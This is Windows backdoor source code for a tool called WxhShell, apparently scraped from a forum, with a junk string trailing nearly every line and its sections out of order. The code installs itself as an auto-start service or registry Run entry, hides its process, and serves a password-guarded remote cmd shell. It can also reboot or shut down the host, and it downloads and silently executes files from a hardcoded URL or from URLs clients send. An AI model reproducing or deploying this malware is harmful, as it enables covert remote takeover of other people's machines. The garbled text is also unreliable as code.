    } R`a~8QVh&5  
    break; ([< HFc`  
    } $B%KkD  
  // 关机 Ta?}n^V?;  
  case 'd': { N2A6C$s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j`RG Moq  
    if(Boot(SHUTDOWN)) Z8xB a0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .06D_L"M  
    else { mWaij]1>  
    closesocket(wsh); )< G(C,!,.  
    ExitThread(0); ?=&S?p)-<  
    } vFR *3$ R  
    break; 9N9&y^SmD  
    } 0@cIj ]  
  // 获取shell pIcg+~  
  case 's': { qNj?Rwc  
    CmdShell(wsh); HBE[q#  
    closesocket(wsh); bT2G G  
    ExitThread(0); \N0vA~N.  
    break; t sUu  
  } <nbk lo  
  // 退出 EyPJ Jc8  
  case 'x': { V2T% tn;rp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JXU ?'@QY  
    CloseIt(wsh); ,k4pW&A  
    break; ;NRh0)%|o  
    } [C6ba{9 B  
  // 离开 n Ab~  
  case 'q': { ?}s;,_GH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MBA?, |9Q#  
    closesocket(wsh); 0x-g0]  
    WSACleanup(); TxG@#" ^g}  
    exit(1); e~lFjr]  
    break; }BlyEcw'aN  
        } r4 *H96l  
  } `K.B`  
  } (Fzy8 s  
'A:Y&w"r  
  // 提示信息 x0Loid\f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a&8K5Z%0  
} I{(!h90  
  } IXa~,a H71  
\]Ah=`  
  return; o( zez  
} gE\ ^ vaB  
'1b 1N5~  
// shell模块句柄 c 1F^Gj!8  
int CmdShell(SOCKET sock) K& ^qn&  
{ lUEbxN  
STARTUPINFO si; Nz`8)Le  
ZeroMemory(&si,sizeof(si)); "crR{OjE"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T/P\j0hR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <9fXf*  
PROCESS_INFORMATION ProcessInfo; AEyD?^?  
char cmdline[]="cmd"; x7zc3%T's  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #2_FM!e  
  return 0; GE!nf6>Km  
} *% ;A85V/  
"t4z)j;  
// 自身启动模式 Cst1nGPL  
int StartFromService(void) -6- sI  
{ '69)m~B0a  
typedef struct W$hCI)m(  
{ *P*~CHx>  
  DWORD ExitStatus; :[n~(~7?  
  DWORD PebBaseAddress; ,nteIR'??  
  DWORD AffinityMask; (v/L   
  DWORD BasePriority; ,Lp"Ia  
  ULONG UniqueProcessId; }VJ>}i*  
  ULONG InheritedFromUniqueProcessId; ,g7O   
}   PROCESS_BASIC_INFORMATION; hTLf$_|P  
L1RD`qXu.  
PROCNTQSIP NtQueryInformationProcess; WS n>P7sY  
1i z =i^}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _9lMa 7i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^\gb|LEnK  
7Fo^ :"  
  HANDLE             hProcess; j.Uy>ol  
  PROCESS_BASIC_INFORMATION pbi; ]}g\te  
+j<WP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *bFWNJ}`q  
  if(NULL == hInst ) return 0; ;F @Sz/  
Gxe)5,G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i`F5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZiuD0#"!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C%yH}T\s  
As)?~dV  
  if (!NtQueryInformationProcess) return 0; F!#)l*OX;  
5CK\Z'c~!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D*-  
  if(!hProcess) return 0; -r cEG!  
*$0*5d7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n}Z%D-b$  
[ft6xI  
  CloseHandle(hProcess); akbB=:M,x  
2K>1,[C'Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ql5bjlQdO  
if(hProcess==NULL) return 0; o i'iZX  
),N,!15j,  
HMODULE hMod; %W D^0U|  
char procName[255]; Gn 9oInY1  
unsigned long cbNeeded; eWv:wNouk  
J(#6Cld`c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G;cC!x<  
O"~[njwkE  
  CloseHandle(hProcess); n)5t!  
apm%\dN  
if(strstr(procName,"services")) return 1; // 以服务启动 m^L!_~  
QYo04`Rl  
  return 0; // 注册表启动 :& Dv!z  
} kfas4mkc  
*.nSv@F  
// 主模块 aWTurnee^  
int StartWxhshell(LPSTR lpCmdLine) ZJs~,Q  
{ D1y`J&A>Q  
  SOCKET wsl; -hnNa A  
BOOL val=TRUE; G)s.~ T  
  int port=0;  ri4z^1\  
  struct sockaddr_in door; "|(.W3f1  
IWv5UmjN  
  if(wscfg.ws_autoins) Install(); #w|v.35%?  
eoww N>-2C  
port=atoi(lpCmdLine); Tfh2>  
/A0_#g:2*#  
if(port<=0) port=wscfg.ws_port; iqB5h| `  
fe yc  
  WSADATA data; o A2oX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )e0kr46  
P@UE.0NYX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~ `}),aA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <MJU:m $3  
  door.sin_family = AF_INET; vai w*?jV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NL:-3W7vf  
  door.sin_port = htons(port); e4=FO;%  
xRc+3Z= N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !o`7$`%Wz\  
closesocket(wsl); (^iF)z  
return 1; [r"Oi| 8I  
} 3\}u#/Vb  
)lLeL#]FLO  
  if(listen(wsl,2) == INVALID_SOCKET) { 7Q|<6210  
closesocket(wsl); :8O T  
return 1; >Du=(pB  
} fWJpy#/^*K  
  Wxhshell(wsl); toGd;2rl  
  WSACleanup(); ?0:]% t18  
tx d0S!  
return 0; Z#@  
A{\?]]/  
} X>`03?L  
C)j/!+nh  
// 以NT服务方式启动  I\_2=mL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $i+@vbU6  
{ dz+!yE\f$  
DWORD   status = 0; RdD>&D$I  
  DWORD   specificError = 0xfffffff; `,SL\\%u  
,*W~M&n"m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,&@GxiU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?l%4 P5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4F.,Y3  
  serviceStatus.dwWin32ExitCode     = 0; P `@Rt  
  serviceStatus.dwServiceSpecificExitCode = 0; ]:LlOv$  
  serviceStatus.dwCheckPoint       = 0; 55s5(]`d  
  serviceStatus.dwWaitHint       = 0; P]n0L4c  
0fX` >-X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8GW+:  
  if (hServiceStatusHandle==0) return; (rhlK} C  
o}QP+  
status = GetLastError(); eZa7brC|  
  if (status!=NO_ERROR) V5$ Gb6?K  
{ P^"RH&ZQJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '|=Pw  
    serviceStatus.dwCheckPoint       = 0; ?WXftzdf6u  
    serviceStatus.dwWaitHint       = 0; S|| W  
    serviceStatus.dwWin32ExitCode     = status; EGgw#JAi#t  
    serviceStatus.dwServiceSpecificExitCode = specificError; OF`J{`{r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xz0t8`N oN  
    return; c=+%][21  
  } ;MNUT,U  
c! kr BS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fx+_;y  
  serviceStatus.dwCheckPoint       = 0; KF#^MEw%  
  serviceStatus.dwWaitHint       = 0; I1m[M?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @P~%4:!Hr  
} ?&9=f\/P  
*K_8=TIA*  
// 处理NT服务事件,比如:启动、停止 0IqGy}+VU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d6*84'|!  
{ U - OD  
switch(fdwControl) -V;Y4,:c  
{ ox`Zs2-a  
case SERVICE_CONTROL_STOP: ppn  8  
  serviceStatus.dwWin32ExitCode = 0; <QvVPE}z   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RuYIG?J=/  
  serviceStatus.dwCheckPoint   = 0; 67&IaDts  
  serviceStatus.dwWaitHint     = 0; I)1ih  
  {  Mj1f;$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :(ql=+vDb4  
  } D$4GNeB+#  
  return; 'z,kxra|n  
case SERVICE_CONTROL_PAUSE: \5&Mg81  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R98YGW_ dT  
  break; ^@8XJ[C,_  
case SERVICE_CONTROL_CONTINUE: `},:dDHI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :k ?`gm$  
  break; ;/kd.Q  
case SERVICE_CONTROL_INTERROGATE: B|a<=~  
  break; Dk sn  
}; Drtg7v{@\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OKm,iIp]  
} >b"@{MZ@t  
,N:^4A  
// 标准应用程序主函数 ,w6?Ap  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X@[5nyILf  
{ iCpm^XT  
X7OU=+g  
// 获取操作系统版本 y _apT<P  
OsIsNt=GetOsVer(); r=3`Eb"t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iJhieNn  
e eN`T&cI  
  // 从命令行安装  kSEA  
  if(strpbrk(lpCmdLine,"iI")) Install(); N KgEs   
kM4z %  
  // 下载执行文件 e@V J-s  
if(wscfg.ws_downexe) { |DW^bv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BMO,eQcB  
  WinExec(wscfg.ws_filenam,SW_HIDE); jt}oq%Bf  
} @1'OuX^  
Z?xaXFm_  
if(!OsIsNt) { _+P*XY5  
// 如果时win9x,隐藏进程并且设置为注册表启动 0 N7I:vJ  
HideProc(); 'fK=;mM  
StartWxhshell(lpCmdLine); ^_v94!a 9  
} Hk+44   
else ^k % +ao  
  if(StartFromService()) l opl  
  // 以服务方式启动 g zi=+oJ|4  
  StartServiceCtrlDispatcher(DispatchTable); ?;](;n#lU  
else >F^$ ' b]  
  // 普通方式启动 t)8c rX}P  
  StartWxhshell(lpCmdLine); j%3 $ytf|p  
Tx&H1  
return 0; S+KKGi_e  
} *0,*F~n  
"k + :!D  
:T$}@& -  
(9( xJ)  
=========================================== {(-923|,  
&u|t{C#0  
= .S2gO >  
2u_=i$xW  
gYbvCs8O!  
4d@0v n{  
" rMWvW(@@D  
1f^oW[w&  
#include <stdio.h> 0P$19T N  
#include <string.h> +Q_xY>ej  
#include <windows.h> m8L %!6o  
#include <winsock2.h> (421$w,B%  
#include <winsvc.h> M6cybEk`  
#include <urlmon.h> n5xG4.#G  
anz7ae&P'K  
#pragma comment (lib, "Ws2_32.lib") `::j\3B&Y-  
#pragma comment (lib, "urlmon.lib") Us "G X_  
Ap\]v2G  
#define MAX_USER   100 // 最大客户端连接数 3@eI? (N  
#define BUF_SOCK   200 // sock buffer ~7}no}7  
#define KEY_BUFF   255 // 输入 buffer sR PQr ?  
9VaSCB  
#define REBOOT     0   // 重启 |af<2(d  
#define SHUTDOWN   1   // 关机 ;QuxTmWp^  
6k,@+ @]t.  
#define DEF_PORT   5000 // 监听端口 0|va}m`<3G  
nq7)0F%e  
#define REG_LEN     16   // 注册表键长度 >/.jB/q  
#define SVC_LEN     80   // NT服务名长度 /:A239=+?  
gjT`<CW  
// 从dll定义API oIE(`l0l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y'f-4E<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "AJ>pU3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `$ bQ8$+Ci  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jc6~V$3  
nC/T$ #G  
// wxhshell配置信息 \K9Y@jnr  
struct WSCFG { coaJDg+  
  int ws_port;         // 监听端口 7m8:odeF  
  char ws_passstr[REG_LEN]; // 口令 6"?#s/fk  
  int ws_autoins;       // 安装标记, 1=yes 0=no lKI]q<2  
  char ws_regname[REG_LEN]; // 注册表键名  KYccjX  
  char ws_svcname[REG_LEN]; // 服务名 c?xeBC1-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D//58z&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O{]}{Ss  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4b yh,t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w\t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .*FlB>1jy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /%?bO-  
>)+U^V  
}; uTbMp~cYB  
(o6 u ^#6  
// default Wxhshell configuration W#b++}S  
struct WSCFG wscfg={DEF_PORT, mMhe,8E&  
    "xuhuanlingzhe", _;(Q MeR  
    1, 3joMtRB>;  
    "Wxhshell", \hzx?  
    "Wxhshell", 3_VWtGQ  
            "WxhShell Service", qj*BV  
    "Wrsky Windows CmdShell Service", /e*<-a  
    "Please Input Your Password: ", z9#jXC#OdN  
  1, ?K}KSJ6_  
  "http://www.wrsky.com/wxhshell.exe", JLyFk V/  
  "Wxhshell.exe" OK}8BY  
    }; WFeaX7\b  
5U<o%+^El  
// 消息定义模块 A]V<K[9:b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mW_A 3S5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gAi}"} ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '?fn} V  
char *msg_ws_ext="\n\rExit."; Yu^}  
char *msg_ws_end="\n\rQuit."; v g tJ+GjN  
char *msg_ws_boot="\n\rReboot..."; <* PjG}Z.  
char *msg_ws_poff="\n\rShutdown..."; xi\uLu?i  
char *msg_ws_down="\n\rSave to "; hi]\M)l&x  
6B?1d /8V  
char *msg_ws_err="\n\rErr!"; 0j/i):@  
char *msg_ws_ok="\n\rOK!"; ~ YZi"u  
8>:2li  
char ExeFile[MAX_PATH]; HoM8V"8B  
int nUser = 0; VxAR,a1+n  
HANDLE handles[MAX_USER]; J Y> I  
int OsIsNt; wIbc8ze  
C$B?|oUJc  
SERVICE_STATUS       serviceStatus; ;#"`]khd  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xg"Mjmr  
LyXABQ]  
// 函数声明 1hp@.Fv  
int Install(void); @1[LD[<  
int Uninstall(void); 9=~jKl%\vJ  
int DownloadFile(char *sURL, SOCKET wsh); )=D9L  
int Boot(int flag); Ipmr@%~  
void HideProc(void); ==j3 9  
int GetOsVer(void); UuA=qWC  
int Wxhshell(SOCKET wsl); f.r-,%^6{  
void TalkWithClient(void *cs); Y!s/uvRI  
int CmdShell(SOCKET sock); V'?nS&,i  
int StartFromService(void); 5 4LCoG/  
int StartWxhshell(LPSTR lpCmdLine); 9zd)[4%=  
(C QgT3V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J.`.lQ$z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *XzUqK  
u09OnP\  
// 数据结构和表定义 kp;MNRc  
SERVICE_TABLE_ENTRY DispatchTable[] = Z#W`0G>'  
{ L,X6L @Q  
{wscfg.ws_svcname, NTServiceMain}, 9k"nx ,"  
{NULL, NULL} #wm)e)2@  
}; bmddh2  
]X _&  
// 自我安装 j({L6</x  
int Install(void) Ap>n4~  
{ !! K=v7M  
  char svExeFile[MAX_PATH]; ,|c_l)  
  HKEY key; \S2'3SD d/  
  strcpy(svExeFile,ExeFile); Wj*6}N/  
wy&*6>.  
// 如果是win9x系统,修改注册表设为自启动 O "h+i>|l  
if(!OsIsNt) { n:!J3pR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I2l'y8)d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *'t`;m~  
  RegCloseKey(key); }&naP   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KJkcmF}Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @',;/j80  
  RegCloseKey(key); da^9Fb  
  return 0; ta 4<d)nB  
    } Vis?cuU/  
  } E0h!%/+-L  
} kI;^V  
else { WK^qYfq|  
1!NaOfP;@  
// 如果是NT以上系统,安装为系统服务 dX3> j{_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %E!0,y,:  
if (schSCManager!=0) fu&]t8MJC  
{ G`W+m*[U+M  
  SC_HANDLE schService = CreateService vA{[F7  
  ( u1kbWbHu(  
  schSCManager, hP#&]W3:  
  wscfg.ws_svcname, xO@OkCue  
  wscfg.ws_svcdisp, p.IfJ|  
  SERVICE_ALL_ACCESS, e)bqE^JP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M*{e e0\`r  
  SERVICE_AUTO_START, |ZKchd8Yq  
  SERVICE_ERROR_NORMAL, J)[(4R>  
  svExeFile, ozo8 Tr  
  NULL, liB>~DVC  
  NULL, _0`O}  
  NULL, .lnD]Q  
  NULL, O&0R ~<n  
  NULL [(K^x?\Y0'  
  ); dk ?0r  
  if (schService!=0) *Ee# x!O  
  { x[kdQj2[&  
  CloseServiceHandle(schService); zC^Ib&gm>,  
  CloseServiceHandle(schSCManager); g/yXPzLU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D.GSl  
  strcat(svExeFile,wscfg.ws_svcname); 0?sp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8YJ({ Ou_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y#5S;?bR  
  RegCloseKey(key); ]_,~q@r$  
  return 0; *]=)mM#  
    } m ;vNA  
  } 5f5`7uVJF  
  CloseServiceHandle(schSCManager); s_8! x  
} 3IxT2@H)  
} ] 7O?c=  
-|kDa1knA  
return 1; YD%Kd&es  
} +Lr0i_al  
N!3f1d7RQ  
// 自我卸载 \3/9lE|gh  
int Uninstall(void) Pg36'aTe%j  
{ lo#,zd~  
  HKEY key; I R&u55#I6  
PTh Ya  
if(!OsIsNt) { s5dh]vNN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lsz`nD5  
  RegDeleteValue(key,wscfg.ws_regname); a`uT'g[*  
  RegCloseKey(key); \CGcP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1XKk~G"D  
  RegDeleteValue(key,wscfg.ws_regname); Sm,$~~iq}  
  RegCloseKey(key); xl^'U/  
  return 0; ZjK~s)RC  
  } 90!Ib~7zH  
} 9.B7Owgr89  
} HKwGaCj`  
else { |"< I\Vs:  
!|/fVWH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uI[*uAR  
if (schSCManager!=0) )em.KbsPPF  
{ GwULtRa/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -iHhpD9"X  
  if (schService!=0) T_-MSXhA  
  { KPhqD5, (  
  if(DeleteService(schService)!=0) { *GhRU5  
  CloseServiceHandle(schService); on\\;V_/Q  
  CloseServiceHandle(schSCManager); >R<fm  
  return 0; [C6?:'}FA  
  } #u$z-M !  
  CloseServiceHandle(schService); `vSsgG  
  } ){:aGGtko  
  CloseServiceHandle(schSCManager); As`^Ku&  
} O#\> j  
} =.c"&,c?L  
vo-{3]u#=  
return 1; ||=Duk  
} 5,Y2Lzr  
K;PpS*!  
// 从指定url下载文件 M=A9a x  
int DownloadFile(char *sURL, SOCKET wsh) >e;f{  
{ O~el2   
  HRESULT hr; I1~g?jpH  
char seps[]= "/"; bRK9Qt#3  
char *token; Tjqn::~D  
char *file; bph*X{lFK  
char myURL[MAX_PATH]; M}Mzm2d#`  
char myFILE[MAX_PATH]; 4;||g@f'[  
?s]`G'=>V`  
strcpy(myURL,sURL); JPG!cX%  
  token=strtok(myURL,seps); 4/?Zp4g  
  while(token!=NULL) )QD}R36Ic  
  { `9l\ ~t(M  
    file=token; $ Zr,-  
  token=strtok(NULL,seps); 3XtGi<u  
  } @U JmbD{  
z sPuLn9G  
GetCurrentDirectory(MAX_PATH,myFILE); \tx/!tA  
strcat(myFILE, "\\"); }nl)*l  
strcat(myFILE, file); rYQ@"o0/Y  
  send(wsh,myFILE,strlen(myFILE),0); GB3B4)cX4Y  
send(wsh,"...",3,0); : 4WbDeR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l0{DnQA>I  
  if(hr==S_OK) Uj)]nJX  
return 0; iurB8~Y  
else }i:'f 2/  
return 1; 1\0@?6`^  
r.;iO0[/  
} Rjl__90  
:F=nb+HZ  
// 系统电源模块 `WS_*fJ5  
int Boot(int flag) 8)8oR&(f  
{ sIsu >eL  
  HANDLE hToken; p%1m&/ `F  
  TOKEN_PRIVILEGES tkp; m 9@n  
]s@8I2_  
  if(OsIsNt) { #7h fEAk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8zWPb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rbbuSI  
    tkp.PrivilegeCount = 1; 5FI>T=QF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iGLYM-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -d'|X`^nE  
if(flag==REBOOT) { x~^I/$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |81N/]EER  
  return 0; 6~W E#z_  
} o q)"1  
else { @98SC}}u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %)Dd{|c  
  return 0; QL18MbfqP  
} )fc"])&8  
  } yW?%c#9D  
  else { bU`yymf{L  
if(flag==REBOOT) { {+9\o ~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Tpx,41(k  
  return 0; 98'XSL|  
} %0]b5u  
else { [_b='/8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g}QTZT8  
  return 0; I>Fh*2  
} a&Du5(r;!  
} 5O ;^Mk|  
z %E!tB2o  
return 1; C&N4<2b  
} G!%XQ\a!  
{NgY8w QB  
// win9x进程隐藏模块 \3?;[xD  
void HideProc(void) gEHfsR=D6  
{ ArzsZ<\//  
d ovwB`5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JBAK*g  
  if ( hKernel != NULL ) XYF~Q9~  
  { VQMd[/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }A/&]1GWk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6F/ OlK<  
    FreeLibrary(hKernel); jYID44$  
  } yc=#Jn?S  
bI6wE'h  
return; <SdJM1%Qo  
} .eB"la|d  
c G!2Iy~lA  
// 获取操作系统版本 =2]rA  
int GetOsVer(void) 00a<(sS;  
{ #'J7Wy  
  OSVERSIONINFO winfo; C+m^Z[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f?^Oy!1]  
  GetVersionEx(&winfo); y"p-8RVk{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B\ >}X_\4  
  return 1; l'". }6S  
  else 42wC."A  
  return 0; lv_%  
} edk9Qd9  
_XNR um4  
// 客户端句柄模块 <sYw%9V  
int Wxhshell(SOCKET wsl) {)9HS~e T  
{ @<TZH  
  SOCKET wsh; {&u7kWD|  
  struct sockaddr_in client; T^;Jz!e  
  DWORD myID; ss@}Dt^  
}6,bq`MN  
  while(nUser<MAX_USER) lWw!+[<:q1  
{ um2s^G  
  int nSize=sizeof(client); exEld  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (i0"hi  
  if(wsh==INVALID_SOCKET) return 1; \ +-hn  
 zn;Hs]G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $o$Ev@mi  
if(handles[nUser]==0) jsi#l  
  closesocket(wsh); P| P fG=  
else Iki+5  
  nUser++; _6S b.9m  
  } >c\v&k>6.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )F#<)Evw  
$]U5  
  return 0; q '{<c3&  
} /0&:Yp=>  
 )P9{47  
// 关闭 socket {G1aAM\Hz  
void CloseIt(SOCKET wsh) 4[CBW  
{ \g:qQ*.  
closesocket(wsh); fy=C!N&/  
nUser--; Fp6[W5>(-  
ExitThread(0); +'Y( V&  
} +;wqX]SD&  
0H&U=9'YT  
// 客户端请求句柄 (6#yw`\  
void TalkWithClient(void *cs) H0b6ZA%n  
{ $x_52 j\j  
LVFsd6:h  
  SOCKET wsh=(SOCKET)cs; Re,$<9V  
  char pwd[SVC_LEN]; s!;VUr\  
  char cmd[KEY_BUFF]; L8w76|  
char chr[1]; E,D:D3O  
int i,j; U>_\  
,dj* p ,J  
  while (nUser < MAX_USER) { 6n6VEwYj  
/mB Beg^a  
if(wscfg.ws_passstr) { BXK::M+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  e(;`9T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'UvS3]bSYW  
  //ZeroMemory(pwd,KEY_BUFF); @wdB%  
      i=0; qzlMn)e  
  while(i<SVC_LEN) { $sL|'ZMbS  
q>|[JJ*6_N  
  // 设置超时 & A9A#It  
  fd_set FdRead; ZOrTbik  
  struct timeval TimeOut; @U /3iDB\  
  FD_ZERO(&FdRead); 3 +8"  
  FD_SET(wsh,&FdRead);  kulQR>u  
  TimeOut.tv_sec=8; ZYA.1VrM  
  TimeOut.tv_usec=0; ]D) 'I`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m!#)JFe67  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M$]O=2h+2  
B`?N0t%X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rv%ye H  
  pwd=chr[0]; x#j\"$dla  
  if(chr[0]==0xd || chr[0]==0xa) { *n*N|6 +  
  pwd=0; PZ!dn%4jy  
  break; yhtvr5z1  
  } bhqq  
  i++; I~]Q55  
    } (XG[_  
Iz GB  
  // 如果是非法用户,关闭 socket R<lNk<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]zvVY:v  
} +>!B(j\gx  
4`UL1)A]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C>:/(O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T$8@2[  
ZH;y>Z  
while(1) { u $% D9Z^  
g",wkO|  
  ZeroMemory(cmd,KEY_BUFF); d(DX(xg  
:<t{ =0G  
      // 自动支持客户端 telnet标准   8G5) o`  
  j=0; \Sw+]pr~  
  while(j<KEY_BUFF) { yK&* ,J |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ANFg]g.Az  
  cmd[j]=chr[0]; .?i-rTF:  
  if(chr[0]==0xa || chr[0]==0xd) { {n'qKur xY  
  cmd[j]=0; n(Q\' ,C  
  break; sR>`QIi(a  
  } uFm+Y]h  
  j++; orB8Q\p'  
    } KCJN<  
?9(o*lp  
  // 下载文件 ~ gfA](N  
  if(strstr(cmd,"http://")) { }l}yn@hYC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pVV}1RDa  
  if(DownloadFile(cmd,wsh)) vhYMWfbY  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \=w'HZH#+  
  else 4j=<p@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V{T{0b" \U  
  } EREolCASb  
  else { y NrinYw  
dcl.wD0~V  
